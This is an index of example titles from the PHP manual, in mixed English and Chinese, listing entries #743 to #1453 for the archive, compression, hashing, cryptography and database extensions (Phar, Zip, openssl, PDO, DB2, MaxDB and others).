  • Example#743 - A Phar::buildFromIterator with SplFileInfo
  • Example#744 - A Phar::buildFromIterator with other iterators
  • Example#745 - A Phar::canCompress example
  • Example#746 - A Phar::canWrite example
  • Example#747 - A Phar::compress example
  • Example#748 - A Phar::compressAllFilesBZIP2 example
  • Example#749 - A Phar::compressAllFilesGZ example
  • Example#750 - A Phar::compressFiles example
  • Example#751 - A Phar::__construct example
  • Example#752 - A Phar::convertToData example
  • Example#753 - A Phar::convertToExecutable example
  • Example#754 - A Phar::copy example
  • Example#755 - A Phar::count example
  • Example#756 - A Phar::createDefaultStub example
  • Example#757 - A Phar::decompress example
  • Example#758 - A Phar::decompressFiles example
  • Example#759 - A Phar::delMetaData example
  • Example#760 - 一个 Phar::delete 示例
  • Example#761 - A Phar::extractTo example
  • Example#762 - A Phar::getMetadata example
  • Example#763 - A Phar::getStub example
  • Example#764 - A Phar::hasMetadata example
  • Example#765 - A Phar::interceptFileFuncs example
  • Example#766 - A Phar::interceptFileFuncs example
  • Example#767 - A Phar::isBuffering example
  • Example#768 - A Phar::isCompressed example
  • Example#769 - A Phar::loadPhar example
  • Example#770 - A Phar::mapPhar example
  • Example#771 - A Phar::mount example
  • Example#772 - A Phar::mungServer example
  • Example#773 - A Phar::offsetExists example
  • Example#774 - Phar::offsetGet example
  • Example#775 - A Phar::offsetSet example
  • Example#776 - A Phar::offsetUnset example
  • Example#777 - A Phar::running example
  • Example#778 - A Phar::setAlias example
  • Example#779 - A Phar::setDefaultStub example
  • Example#780 - A Phar::setMetadata example
  • Example#781 - A Phar::setStub example
  • Example#782 - A Phar::startBuffering example
  • Example#783 - A Phar::stopBuffering example
  • Example#784 - A Phar::uncompressAllFiles example
  • Example#785 - A Phar::unlinkArchive example
  • Example#786 - A Phar::webPhar example
  • Example#787 - A PharData::addEmptyDir example
  • Example#788 - A PharData::addFile example
  • Example#789 - A PharData::addFromString example
  • Example#790 - A PharData::buildFromDirectory example
  • Example#791 - A PharData::buildFromIterator with SplFileInfo
  • Example#792 - A PharData::buildFromIterator with other iterators
  • Example#793 - A PharData::compress example
  • Example#794 - A PharData::compressFiles example
  • Example#795 - A PharData::__construct example
  • Example#796 - A PharData::convertToData example
  • Example#797 - A PharData::convertToExecutable example
  • Example#798 - A PharData::copy example
  • Example#799 - A PharData::decompress example
  • Example#800 - A PharData::decompressFiles example
  • Example#801 - A PharData::delMetaData example
  • Example#802 - A PharData::delete example
  • Example#803 - A PharData::extractTo example
  • Example#804 - A PharData::offsetSet example
  • Example#805 - A PharData::offsetUnset example
  • Example#806 - A Phar::setMetadata example
  • Example#807 - A PharFileInfo::chmod example
  • Example#808 - A PharFileInfo::compress example
  • Example#809 - A PharFileInfo::__construct example
  • Example#810 - A PharFileInfo::decompress example
  • Example#811 - A PharFileInfo::delMetaData example
  • Example#812 - A PharFileInfo::getCRC32 example
  • Example#813 - A PharFileInfo::getCompressedSize example
  • Example#814 - A PharFileInfo::getMetadata example
  • Example#815 - A PharFileInfo::getPharFlags example
  • Example#816 - A PharFileInfo::isCRCChecked example
  • Example#817 - A PharFileInfo::isCompressed example
  • Example#818 - A PharFileInfo::isCompressedBZIP2 example
  • Example#819 - A PharFileInfo::isCompressedGZ example
  • Example#820 - A PharFileInfo::setCompressedBZIP2 example
  • Example#821 - A PharFileInfo::setCompressedGZ example
  • Example#822 - A PharFileInfo::setMetadata example
  • Example#823 - A PharFileInfo::setUncompressed example
  • Example#824 - Rar installation
  • Example#825 - On-the-fly decompression
  • Example#826 - RAR extension filesystem extraction example
  • Example#827 - 面向对象风格
  • Example#828 - 过程化风格
  • Example#829 - 面向对象风格
  • Example#830 - 过程化风格
  • Example#831 - 面向对象风格
  • Example#832 - 过程化风格
  • Example#833 - 面向对象风格
  • Example#834 - 过程化风格
  • Example#835 - 面向对象风格
  • Example#836 - 过程化风格
  • Example#837 - 面向对象风格
  • Example#838 - 过程化风格
  • Example#839 - 面向对象风格
  • Example#840 - 过程化风格
  • Example#841 - Volume Callback
  • Example#842 - 面向对象风格
  • Example#843 - 过程化风格
  • Example#844 - RarArchive::__toString example
  • Example#845 - RarEntry::extract example
  • Example#846 - How to extract all files in archive:
  • Example#847 - RarEntry::getAttr example
  • Example#848 - RarEntry::getHostOs example (version >= 2.0.0)
  • Example#849 - RarEntry::getHostOs example (version <= 1.0.0)
  • Example#850 - RarEntry::getMethod example
  • Example#851 - RarEntry::getName example
  • Example#852 - RarEntry::getPackedSize example
  • Example#853 - RarEntry::getStream example
  • Example#854 - RarEntry::getUnpackedSize example
  • Example#855 - RarEntry::getVersion example
  • Example#856 - RarException::isUsingExceptions example
  • Example#857 - RarException::setUsingExceptions example
  • Example#858 - 创建一个 Zip 归档
  • Example#859 - 输出文档细节和列表
  • Example#860 - Zip 流封装，读取一个 OpenOffice 文件的元信息
  • Example#861 - Zip 使用范例
  • Example#862 - Create a new directory in an archive
  • Example#863 - Open and add
  • Example#864 - Add an entry to a new archive
  • Example#865 - Add file to a directory inside an archive
  • Example#866 - ZipArchive::addGlob example
  • Example#867 - ZipArchive::addPattern example
  • Example#868 - Delete file from archive using its index
  • Example#869 - Deleting a file and directory from an archive, using names
  • Example#870 - Extract all entries
  • Example#871 - Extract two entries
  • Example#872 - Dump an archive comment
  • Example#873 - Dump an entry comment
  • Example#874 - Dump an entry comment
  • Example#875 - Extract all entries with Unix rights
  • Example#876 - Get the file contents
  • Example#877 - Get the file contents
  • Example#878 - Convert an image from a zip entry
  • Example#879 - ZipArchive::getNameIndex example
  • Example#880 - Get the entry contents with fread and store it
  • Example#881 - Same as the previous example but with fopen and the zip stream wrapper
  • Example#882 - Stream wrapper and image, can be used with the xml function as well
  • Example#883 - Create an archive and then use it with ZipArchive::locateName
  • Example#884 - Open and extract
  • Example#885 - Create an archive
  • Example#886 - Rename one entry
  • Example#887 - Rename one entry
  • Example#888 - Create an archive and set a comment
  • Example#889 - Open an archive and set a comment for an entry
  • Example#890 - Open an archive and set a comment for an entry
  • Example#891 - Add files with different compression methods to an archive
  • Example#892 - Add files with different compression methods to an archive
  • Example#893 - Archive and encrypt a file
  • Example#894 - Archive a file, with its Unix rights
  • Example#895 - Dump the stat info of an entry
  • Example#896 - Dump the stat info of an entry
  • Example#897 - Small Zlib Example
  • Example#898 - Working with the incremental compression and decompression API as of PHP 7.0.0
  • Example#899 - gzclose example
  • Example#900 - gzcompress example
  • Example#901 - gzdeflate example
  • Example#902 - Creating a gzip file
  • Example#903 - gzeof example
  • Example#904 - gzfile example
  • Example#905 - gzgetc example
  • Example#906 - gzgets example
  • Example#907 - gzgetss example
  • Example#908 - gzinflate example
  • Example#909 - gzopen Example
  • Example#910 - gzpassthru example
  • Example#911 - gzread example
  • Example#912 - gzseek example
  • Example#913 - gzuncompress example
  • Example#914 - gzwrite example
  • Example#915 - zlib_encode example
  • Example#916 - CrackLib example
  • Example#917 - random_bytes example
  • Example#918 - random_int example
  • Example#919 - hash_algos 例程
  • Example#920 - hash_copy 例程
  • Example#921 - hash_equals 例程
  • Example#922 - 使用 hash_file
  • Example#923 - hash_final 例程
  • Example#924 - hash_hkdf example
  • Example#925 - hash_hmac_algos example
  • Example#926 - hash_hmac_file 例程
  • Example#927 - hash_hmac 例程
  • Example#928 - 增量哈希运算例程
  • Example#929 - hash_pbkdf2 例程，基础用法
  • Example#930 - hash_update_stream 例程
  • Example#931 - 一个 hash 例程
  • Example#932 - 使用 PHP 5.4 或者更高版本计算 tiger 哈希值
  • Example#933 - 在 2.4.x 或更高版本，使用 256 比特的密钥，AES 算法和 CBC 模式来加密输入数据
  • Example#934 - mcrypt_create_iv 例程
  • Example#935 - mcrypt_enc_get_algorithms_name 例程
  • Example#936 - mcrypt_enc_get_modes_name 例程
  • Example#937 - mcrypt_enc_get_supported_key_sizes 例程
  • Example#938 - mcrypt_encrypt 例程
  • Example#939 - mcrypt_get_block_size 例程
  • Example#940 - mcrypt_get_cipher_name 例程
  • Example#941 - mcrypt_get_iv_size 例程
  • Example#942 - mcrypt_get_key_size 例程
  • Example#943 - mcrypt_list_algorithms 例程
  • Example#944 - mcrypt_list_modes 例程
  • Example#945 - mcrypt_module_open 例程
  • Example#946 - 在加密中使用 mcrypt_module_open
  • Example#947 - mcrypt_module_self_test 例程
  • Example#948 - mdecrypt_generic 例程
  • Example#949 - Computes the MD5 digest and hmac and print it out as hex
  • Example#950 - Traversing all hashes
  • Example#951 - mhash_get_block_size Example
  • Example#952 - mhash_get_hash_name Example
  • Example#953 - openssl_cipher_iv_length 范例
  • Example#954 - openssl_csr_export_to_file() 范例
  • Example#955 - openssl_csr_export() 范例
  • Example#956 - openssl_csr_get_public_key() example
  • Example#957 - openssl_csr_get_subject() 范例
  • Example#958 - 创建一个自签名的证书
  • Example#959 - 在PHP 7.1+版本中创建一个自签名的ECC证书
  • Example#960 - openssl_csr_sign example - signing a CSR (how to implement your own CA)
  • Example#961 - PHP 7.1+ 下 GCM 模式的 AES 认证加密例子
  • Example#962 - PHP 5.6+ 的 AES 认证加密例子
  • Example#963 - openssl_error_string example
  • Example#964 - openssl_get_cert_locations 范例
  • Example#965 - openssl_get_cipher_methods example
  • Example#966 - openssl_get_curve_names 范例
  • Example#967 - openssl_get_md_methods 范例：
  • Example#968 - openssl_open 范例
  • Example#969 - openssl_pbkdf2() 范例
  • Example#970 - openssl_pkcs12_read 范例
  • Example#971 - openssl_pkcs7_decrypt 范例
  • Example#972 - openssl_pkcs7_encrypt 范例
  • Example#973 - openssl_pkcs7_sign 范例
  • Example#974 - openssl_random_pseudo_bytes 范例：
  • Example#975 - openssl_seal 范例：
  • Example#976 - openssl_sign example
  • Example#977 - openssl_sign example
  • Example#978 - openssl_spki_export_challenge 范例：
  • Example#979 - openssl_spki_export_challenge 来自 <keygen> 元素的范例：
  • Example#980 - openssl_spki_export 范例：
  • Example#981 - openssl_spki_export example from <keygen>
  • Example#982 - openssl_spki_new 范例：
  • Example#983 - openssl_spki_verify 范例：
  • Example#984 - openssl_spki_verify example from <keygen>
  • Example#985 - openssl_verify 范例：
  • Example#986 - openssl_verify 范例：
  • Example#987 - password_hash 例子
  • Example#988 - password_hash 手动设置 cost 的例子
  • Example#989 - password_hash 手动设置盐值的例子
  • Example#990 - 寻找最佳 cost 的 password_hash 例子
  • Example#991 - 使用 Argon2 的password_hash例子
  • Example#992 - password_needs_rehash用法
  • Example#993 - password_verify 例子
  • Example#994 - sodium_crypto_kx_keypair usage
  • Example#995 - password_hash example
  • Example#996 - password_hash example
  • Example#997 - DBA example
  • Example#998 - Traversing a database
  • Example#999 - dba_handlers Example
  • Example#1000 - dbx_close example
  • Example#1001 - dbx_compare example
  • Example#1002 - dbx_connect example
  • Example#1003 - dbx_error example
  • Example#1004 - dbx_escape_string example
  • Example#1005 - How to handle the returned value
  • Example#1006 - lists each field's name and type
  • Example#1007 - outputs the content of data property into HTML table
  • Example#1008 - How to handle UNBUFFERED queries
  • Example#1009 - How to handle the returned value
  • Example#1010 - dbx_sort example
  • Example#1011 - DSN-less connections
  • Example#1012 - odbc_execute and odbc_prepare example
  • Example#1013 - odbc_fetch_into examples
  • Example#1014 - odbc_next_result
  • Example#1015 - odbc_execute and odbc_prepare example
  • Example#1016 - odbc_result examples
  • Example#1017 - odbc_setoption examples
  • Example#1018 - 使用 PDO::ATTR_DRIVER_NAME 的例子
  • Example#1019 - 连接到 MySQL
  • Example#1020 - 处理连接错误
  • Example#1021 - 关闭一个连接
  • Example#1022 - 持久化连接
  • Example#1023 - 在事务中执行批处理
  • Example#1024 - 用预处理语句进行重复插入
  • Example#1025 - 用预处理语句进行重复插入
  • Example#1026 - 使用预处理语句获取数据
  • Example#1027 - 带输出参数调用存储过程
  • Example#1028 - 带输入/输出参数调用存储过程
  • Example#1029 - 占位符的无效使用
  • Example#1030 - 创建 PDO 实例并设置错误模式
  • Example#1031 - 创建 PDO 实例并在构造函数中设置错误模式
  • Example#1032 - 从数据库中显示一张图片
  • Example#1033 - 插入一张图片到数据库
  • Example#1034 - 插入一张图片到数据库：Oracle
  • Example#1035 - 回滚一个事务
  • Example#1036 - 提交一个基础事务
  • Example#1037 - 提交一个DDL事务
  • Example#1038 - Create a PDO instance via driver invocation
  • Example#1039 - Create a PDO instance via URI invocation
  • Example#1040 - 使用别名创建一个PDO实例
  • Example#1041 - 取得一个 SQLSTATE 码
  • Example#1042 - Displaying errorInfo() fields for a PDO_ODBC connection to a DB2 database
  • Example#1043 - 发出一条 DELETE 语句
  • Example#1044 - 取回数据库连接属性
  • Example#1045 - 一个 PDO::getAvailableDrivers 的例子
  • Example#1046 - 用命名参数形式准备 SQL 语句参数
  • Example#1047 - 用问号形式准备 SQL 语句参数
  • Example#1048 - 展示 PDO::query 的使用
  • Example#1049 - 普通字符串加引号
  • Example#1050 - 危险字符串加引号
  • Example#1051 - 复杂字符串加引号
  • Example#1052 - 回滚一个事务
  • Example#1053 - 把结果集输出绑定到 PHP 变量
  • Example#1054 - 执行一条使用命名占位符的预处理语句
  • Example#1055 - 执行一条使用问号占位符的预处理语句
  • Example#1056 - 使用 INOUT 参数调用一个存储过程
  • Example#1057 - 执行一条使用命名占位符的预处理语句
  • Example#1058 - 执行一条使用问号占位符的预处理语句
  • Example#1059 - 一个 PDOStatement::closeCursor 的例子
  • Example#1060 - 计算列数
  • Example#1061 - PDOStatement::debugDumpParams 使用命名参数的例子
  • Example#1062 - PDOStatement::debugDumpParams 使用未命名参数的例子
  • Example#1063 - 取回一个 SQLSTATE 码
  • Example#1064 - 显示连接到DB2数据库的 PDO_ODBC 连接的 errorInfo() 的字段
  • Example#1065 - 执行一条绑定变量的预处理语句
  • Example#1066 - 使用一个含有插入值的数组执行一条预处理语句（命名参数）
  • Example#1067 - 使用一个含有插入值的数组执行一条预处理语句（占位符）
  • Example#1068 - 执行一条问号占位符的预处理语句
  • Example#1069 - 使用数组执行一条含有 IN 子句的预处理语句
  • Example#1070 - 使用不同的提取方式获取行
  • Example#1071 - 使用一个可滚动游标获取行
  • Example#1072 - 获取结果集中所有剩余的行
  • Example#1073 - 获取结果集中单独一列的所有值
  • Example#1074 - 根据单独的一列把所有值分组
  • Example#1075 - 每行结果实例化一个类
  • Example#1076 - 每行调用一次函数
  • Example#1077 - 返回下一行的第一列
  • Example#1078 - 检索列的元数据
  • Example#1079 - 获取由一个存储过程返回的多个行集
  • Example#1080 - 返回删除的行数
  • Example#1081 - 计算由一个 SELECT 语句返回的行数
  • Example#1082 - 设置获取模式
  • Example#1083 - Insert LOBs in CUBRID PDO
  • Example#1084 - Fetch LOBs in CUBRID PDO
  • Example#1085 - Insert set in CUBRID PDO with default data type.
  • Example#1086 - Specify data type when insert set in CUBRID PDO
  • Example#1087 - PDO_CUBRID DSN examples
  • Example#1088 - A PDO::cubrid_schema example
  • Example#1089 - PDO_DBLIB DSN examples
  • Example#1090 - PDO_FIREBIRD DSN example with path
  • Example#1091 - PDO_FIREBIRD DSN example with port and path
  • Example#1092 - PDO_FIREBIRD DSN example with localhost and path to employee.fdb on Debian system
  • Example#1093 - PDO_IBM DSN example using db2cli.ini
  • Example#1094 - PDO_IBM DSN example using a connection string
  • Example#1095 - PDO_INFORMIX DSN example using odbc.ini
  • Example#1096 - PDO_INFORMIX DSN example using a connection string
  • Example#1097 - Forcing queries to be buffered in mysql
  • Example#1098 - Setting the connection character set to UTF-8 prior to PHP 5.3.6
  • Example#1099 - PDO_MYSQL DSN examples
  • Example#1100 - PDO_SQLSRV DSN examples
  • Example#1101 - PDO_OCI DSN examples
  • Example#1102 - PDO_ODBC DSN example (ODBC driver manager)
  • Example#1103 - PDO_ODBC DSN example (IBM DB2 uncataloged connection)
  • Example#1104 - PDO_ODBC DSN example (Microsoft Access uncataloged connection)
  • Example#1105 - PDO_PGSQL DSN examples
  • Example#1106 - A PDO::pgsqlLOBCreate example
  • Example#1107 - A PDO::pgsqlLOBOpen example
  • Example#1108 - A PDO::pgsqlLOBUnlink example
  • Example#1109 - PDO_SQLITE DSN examples
  • Example#1110 - max_length aggregation function example
  • Example#1111 - PDO::sqliteCreateCollation example
  • Example#1112 - PDO::sqliteCreateFunction example
  • Example#1113 - DSN examples for PDO_4D
  • Example#1114 - Basic example with PDO_4D
  • Example#1115 - Accessing 4D language from pdo_4d
  • Example#1116 - Escaping 4D table names
  • Example#1117 - 数据查询的例子
  • Example#1118 - 数据插入的例子
  • Example#1119 - cubrid_bind example
  • Example#1120 - cubrid_bind BLOB/CLOB example
  • Example#1121 - cubrid_bind BLOB/CLOB example
  • Example#1122 - cubrid_close_prepare example
  • Example#1123 - cubrid_close_request example
  • Example#1124 - cubrid_col_get example
  • Example#1125 - cubrid_col_size example
  • Example#1126 - cubrid_column_names example
  • Example#1127 - cubrid_column_types example
  • Example#1128 - cubrid_commit example
  • Example#1129 - cubrid_connect_with_url url without properties example
  • Example#1130 - cubrid_connect_with_url url with properties example
  • Example#1131 - cubrid_connect example
  • Example#1132 - cubrid_current_oid example
  • Example#1133 - cubrid_disconnect example
  • Example#1134 - cubrid_drop example
  • Example#1135 - cubrid_error_code_facility example
  • Example#1136 - cubrid_error_code example
  • Example#1137 - cubrid_error_msg example
  • Example#1138 - cubrid_execute example
  • Example#1139 - cubrid_fetch example
  • Example#1140 - cubrid_free_result example
  • Example#1141 - cubrid_get_charset example
  • Example#1142 - cubrid_get_class_name example
  • Example#1143 - cubrid_get_client_info example
  • Example#1144 - cubrid_get_db_parameter example
  • Example#1145 - cubrid_get_query_timeout example
  • Example#1146 - cubrid_get_server_info example
  • Example#1147 - cubrid_get example
  • Example#1148 - cubrid_insert_id example
  • Example#1149 - cubrid_is_instance example
  • Example#1150 - cubrid_lob_close example
  • Example#1151 - cubrid_lob_export example
  • Example#1152 - cubrid_lob_get example
  • Example#1153 - cubrid_lob_send example
  • Example#1154 - cubrid_lob_size example
  • Example#1155 - cubrid_lob2_bind example
  • Example#1156 - cubrid_lob2_export example
  • Example#1157 - cubrid_lob2_export example
  • Example#1158 - cubrid_lob2_read example 1
  • Example#1159 - cubrid_lob2_read example 2
  • Example#1160 - cubrid_lob2_seek64 example
  • Example#1161 - cubrid_lob2_seek example
  • Example#1162 - cubrid_lob2_write example 1
  • Example#1163 - cubrid_lob2_write example 2
  • Example#1164 - cubrid_lock_read example
  • Example#1165 - cubrid_lock_write example
  • Example#1166 - cubrid_move_cursor example
  • Example#1167 - cubrid_next_result example
  • Example#1168 - cubrid_num_cols example
  • Example#1169 - cubrid_num_rows example
  • Example#1170 - cubrid_pconnect_with_url url without properties example
  • Example#1171 - cubrid_pconnect_with_url url with properties example
  • Example#1172 - cubrid_connect example
  • Example#1173 - cubrid_prepare example
  • Example#1174 - cubrid_put example
  • Example#1175 - cubrid_rollback example
  • Example#1176 - cubrid_schema example
  • Example#1177 - cubrid_seq_drop example
  • Example#1178 - cubrid_seq_insert example
  • Example#1179 - cubrid_seq_put example
  • Example#1180 - cubrid_set_add example
  • Example#1181 - cubrid_get_db_parameter example
  • Example#1182 - cubrid_set_drop example
  • Example#1183 - cubrid_version example
  • Example#1184 - cubrid_affected_rows example
  • Example#1185 - cubrid_client_encoding example
  • Example#1186 - cubrid_close example
  • Example#1187 - cubrid_data_seek example
  • Example#1188 - cubrid_db_name example
  • Example#1189 - cubrid_errno example
  • Example#1190 - cubrid_error example
  • Example#1191 - cubrid_fetch_array example
  • Example#1192 - cubrid_fetch_assoc example
  • Example#1193 - cubrid_fetch_field example
  • Example#1194 - cubrid_fetch_lengths example
  • Example#1195 - cubrid_fetch_object example
  • Example#1196 - cubrid_fetch_row example
  • Example#1197 - cubrid_field_flags example
  • Example#1198 - cubrid_field_len example
  • Example#1199 - cubrid_field_name example
  • Example#1200 - cubrid_field_seek example
  • Example#1201 - cubrid_field_table example
  • Example#1202 - cubrid_field_type example
  • Example#1203 - cubrid_list_dbs example
  • Example#1204 - cubrid_num_fields example
  • Example#1205 - cubrid_ping example
  • Example#1206 - Invalid Query
  • Example#1207 - Valid Query
  • Example#1208 - cubrid_real_escape_string example
  • Example#1209 - cubrid_result example
  • Example#1210 - cubrid_unbuffered_query example
  • Example#1211 - cubrid_load_from_glo example
  • Example#1212 - cubrid_new_glo example
  • Example#1213 - cubrid_save_to_glo example
  • Example#1214 - cubrid_send_glo example
  • Example#1215 - Inserting a record in a dBase database
  • Example#1216 - Closing a dBase database file
  • Example#1217 - Creating a dBase database file
  • Example#1218 - Showing header information for a dBase database file
  • Example#1219 - Listing all the registered members in the database
  • Example#1220 - dbase_numfields Example
  • Example#1221 - Looping over all the records of the database
  • Example#1222 - Opening a dBase database file
  • Example#1223 - Emptying a dBase database
  • Example#1224 - Updating a record in the database
  • Example#1225 - ibase_backup example
  • Example#1226 - ibase_backup example with arguments
  • Example#1227 - ibase_blob_get example
  • Example#1228 - ibase_blob_import example
  • Example#1229 - ibase_connect example
  • Example#1230 - ibase_execute example
  • Example#1231 - ibase_fetch_object example
  • Example#1232 - ibase_field_info example
  • Example#1233 - ibase_name_result example
  • Example#1234 - ibase_num_fields example
  • Example#1235 - ibase_query example
  • Example#1236 - ibase_restore example
  • Example#1237 - ibase_restore example with arguments
  • Example#1238 - ibase_service_attach example
  • Example#1239 - ibase_service_attach example
  • Example#1240 - ibase_service_attach example using hostname/port syntax
  • Example#1241 - ibase_service_detach example
  • Example#1242 - ibase_set_event_handler example
  • Example#1243 - fbsql_close example
  • Example#1244 - fbsql_connect example
  • Example#1245 - fbsql_create_blob example
  • Example#1246 - fbsql_create_clob example
  • Example#1247 - fbsql_create_db example
  • Example#1248 - fbsql_data_seek example
  • Example#1249 - fbsql_create_clob example
  • Example#1250 - fbsql_errno Example
  • Example#1251 - fbsql_error Example
  • Example#1252 - fbsql_fetch_array example
  • Example#1253 - fbsql_fetch_assoc example
  • Example#1254 - fbsql_fetch_field example
  • Example#1255 - fbsql_fetch_object example
  • Example#1256 - fbsql_field_name example
  • Example#1257 - fbsql_field_type example
  • Example#1258 - fbsql_list_dbs example
  • Example#1259 - fbsql_list_fields example
  • Example#1260 - fbsql_next_result example
  • Example#1261 - fbsql_num_rows example
  • Example#1262 - fbsql_query example
  • Example#1263 - fbsql_query example
  • Example#1264 - fbsql_read_blob example
  • Example#1265 - fbsql_read_clob example
  • Example#1266 - fbsql_table_name example
  • Example#1267 - Retrieving the AUTOCOMMIT value for a connection
  • Example#1268 - Setting the AUTOCOMMIT value for a connection
  • Example#1269 - Binding PHP variables to a prepared statement
  • Example#1270 - Calling stored procedures with IN and OUT parameters
  • Example#1271 - Inserting a binary large object (BLOB) directly from a file
  • Example#1272 - A db2_client_info example
  • Example#1273 - Closing a connection
  • Example#1274 - Retrieving an SQLSTATE value for a failed connection attempt
  • Example#1275 - Retrieving the error message returned by a failed connection attempt
  • Example#1276 - Creating a cataloged connection
  • Example#1277 - Creating an uncataloged connection
  • Example#1278 - Creating a connection with autocommit off by default
  • Example#1279 - i5/OS best performance
  • Example#1280 - Using trusted context
  • Example#1281 - A db2_escape_string example
  • Example#1282 - Creating a table with db2_exec
  • Example#1283 - Executing a SELECT statement with a scrollable cursor
  • Example#1284 - Returning XML data as an SQL ResultSet
  • Example#1285 - Performing a "JOIN" with XML data
  • Example#1286 - Returning SQL data as part of a larger XML document
  • Example#1287 - Preparing and executing an SQL statement with parameter markers
  • Example#1288 - Calling a stored procedure with an OUT parameter
  • Example#1289 - Returning XML data as an SQL ResultSet
  • Example#1290 - Performing a "JOIN" with XML data
  • Example#1291 - Returning SQL data as part of a larger XML document
  • Example#1292 - Iterating through a forward-only cursor
  • Example#1293 - Retrieving specific rows with db2_fetch_array from a scrollable cursor
  • Example#1294 - Iterating through a forward-only cursor
  • Example#1295 - Retrieving specific rows with db2_fetch_assoc from a scrollable cursor
  • Example#1296 - Iterating through a forward-only cursor
  • Example#1297 - Retrieving specific rows with db2_fetch_both from a scrollable cursor
  • Example#1298 - A db2_fetch_object example
  • Example#1299 - Iterating through a result set
  • Example#1300 - i5/OS recommended alternatives to db2_fetch_row/db2_result
  • Example#1301 - Setting and retrieving parameters through a connection resource
  • Example#1302 - A db2_last_insert_id example
  • Example#1303 - Iterating through different types of data
  • Example#1304 - Calling a stored procedure that returns multiple result sets
  • Example#1305 - Retrieving the number of fields in a result set
  • Example#1306 - Closing a persistent connection
  • Example#1307 - A db2_pconnect example
  • Example#1308 - Using trusted context
  • Example#1309 - Preparing and executing an SQL statement with parameter markers
  • Example#1310 - A db2_result example
  • Example#1311 - Rolling back a DELETE statement
  • Example#1312 - A db2_server_info example
  • Example#1313 - Setting one parameter with a connection resource
  • Example#1314 - Setting multiple parameters with a connection resource
  • Example#1315 - Setting multiple parameters with an invalid key
  • Example#1316 - Setting multiple parameters with an invalid value
  • Example#1317 - Setting multiple parameters with a connection resource and the wrong type
  • Example#1318 - Setting multiple parameters with the wrong resource
  • Example#1319 - Putting it all together
  • Example#1320 - i5/OS cursors are read-only
  • Example#1321 - Informix affected rows
  • Example#1322 - Closing a Informix connection
  • Example#1323 - Connect to a Informix database
  • Example#1324 - ifx_do Example
  • Example#1325 - ifx_errormsg example
  • Example#1326 - Informix fetch rows
  • Example#1327 - Informix SQL fieldproperties
  • Example#1328 - Fieldnames and SQL fieldtypes
  • Example#1329 - Retrieve Informix sqlca.sqlerrd[x] values
  • Example#1330 - Informix results as HTML table
  • Example#1331 - ifx_num_fields Example
  • Example#1332 - Show all rows of the "orders" table as a HTML table
  • Example#1333 - Insert some values into the "catalog" table
  • Example#1334 - Example usage of PassEnv for Ingres
  • Example#1335 - Simple Ingres Example
  • Example#1336 - ingres_charset - Get the installation character set
  • Example#1337 - Open a connection to an Ingres database
  • Example#1338 - Get cursor name for a query resource
  • Example#1339 - Get the last Ingres error number generated
  • Example#1340 - Get a message for the last error generated
  • Example#1341 - Get the last SQLSTATE error code generated
  • Example#1342 - Escape special characters for use in a query
  • Example#1343 - Fetch a row of result into an array
  • Example#1344 - Fetch a row into an associative array
  • Example#1345 - Fetch a row into an object
  • Example#1346 - Get the return value from a procedure call
  • Example#1347 - Fetch a row of result into an enumerated array
  • Example#1348 - Free a result resource
  • Example#1349 - Send a simple select
  • Example#1350 - Passing query parameters to ingres_query
  • Example#1351 - Inserting a BLOB with parameter types
  • Example#1352 - Position the cursor on the 3rd row
  • Example#1353 - Set date_format to ISO4
  • Example#1354 - Set timezone to HONG-KONG
  • Example#1355 - Issue a simple un-buffered select
  • Example#1356 - Passing query parameters to ingres_unbuffered_query
  • Example#1357 - Inserting a BLOB with parameter types
  • Example#1358 - MaxDB extension overview example
  • Example#1359 - Example for use of SELECT INTO statements
  • Example#1360 - Example fore using database procedures
  • Example#1361 - 面向对象风格
  • Example#1362 - 过程化风格
  • Example#1363 - 面向对象风格
  • Example#1364 - 过程化风格
  • Example#1365 - 面向对象风格
  • Example#1366 - 过程化风格
  • Example#1367 - 面向对象风格
  • Example#1368 - 过程化风格
  • Example#1369 - 面向对象风格
  • Example#1370 - 过程化风格
  • Example#1371 - maxdb_connect_errno sample
  • Example#1372 - maxdb_connect_error sample
  • Example#1373 - 面向对象风格
  • Example#1374 - 过程化风格
  • Example#1375 - 面向对象风格
  • Example#1376 - 过程化风格
  • Example#1377 - 过程化风格
  • Example#1378 - 面向对象风格
  • Example#1379 - 过程化风格
  • Example#1380 - 面向对象风格
  • Example#1381 - 过程化风格
  • Example#1382 - 面向对象风格
  • Example#1383 - 过程化风格
  • Example#1384 - 面向对象风格
  • Example#1385 - 过程化风格
  • Example#1386 - 面向对象风格
  • Example#1387 - 过程化风格
  • Example#1388 - 面向对象风格
  • Example#1389 - 过程化风格
  • Example#1390 - 面向对象风格
  • Example#1391 - 过程化风格
  • Example#1392 - 面向对象风格
  • Example#1393 - 过程化风格
  • Example#1394 - 面向对象风格
  • Example#1395 - 过程化风格
  • Example#1396 - 面向对象风格
  • Example#1397 - 过程化风格
  • Example#1398 - 面向对象风格
  • Example#1399 - 过程化风格
  • Example#1400 - 面向对象风格
  • Example#1401 - 过程化风格
  • Example#1402 - 面向对象风格
  • Example#1403 - 过程化风格
  • Example#1404 - maxdb_get_client_info
  • Example#1405 - maxdb_get_client_version
  • Example#1406 - 面向对象风格
  • Example#1407 - 过程化风格
  • Example#1408 - 面向对象风格
  • Example#1409 - 过程化风格
  • Example#1410 - 面向对象风格
  • Example#1411 - 过程化风格
  • Example#1412 - 面向对象风格
  • Example#1413 - 过程化风格
  • Example#1414 - 面向对象风格
  • Example#1415 - 过程化风格
  • Example#1416 - 面向对象风格
  • Example#1417 - 过程化风格
  • Example#1418 - 面向对象风格
  • Example#1419 - 过程化风格
  • Example#1420 - 面向对象风格
  • Example#1421 - 过程化风格
  • Example#1422 - 面向对象风格
  • Example#1423 - 过程化风格
  • Example#1424 - 面向对象风格
  • Example#1425 - 过程化风格
  • Example#1426 - 面向对象风格
  • Example#1427 - 过程化风格
  • Example#1428 - 面向对象风格
  • Example#1429 - 过程化风格
  • Example#1430 - 面向对象风格
  • Example#1431 - 过程化风格
  • Example#1432 - 面向对象风格
  • Example#1433 - 过程化风格
  • Example#1434 - 面向对象风格
  • Example#1435 - 过程化风格
  • Example#1436 - 过程化风格
  • Example#1437 - 面向对象风格
  • Example#1438 - 过程化风格
  • Example#1439 - 面向对象风格
  • Example#1440 - 过程化风格
  • Example#1441 - 面向对象风格
  • Example#1442 - 过程化风格
  • Example#1443 - 面向对象风格
  • Example#1444 - 过程化风格
  • Example#1445 - 面向对象风格
  • Example#1446 - 过程化风格
  • Example#1447 - 面向对象风格
  • Example#1448 - 过程化风格
  • Example#1449 - 过程化风格 (SELECT INTO)
  • Example#1450 - 过程化风格 (DB procedure)
  • Example#1451 - 面向对象风格 (extended syntax)
  • Example#1452 - 面向对象风格
  • Example#1453 - 过程化风格
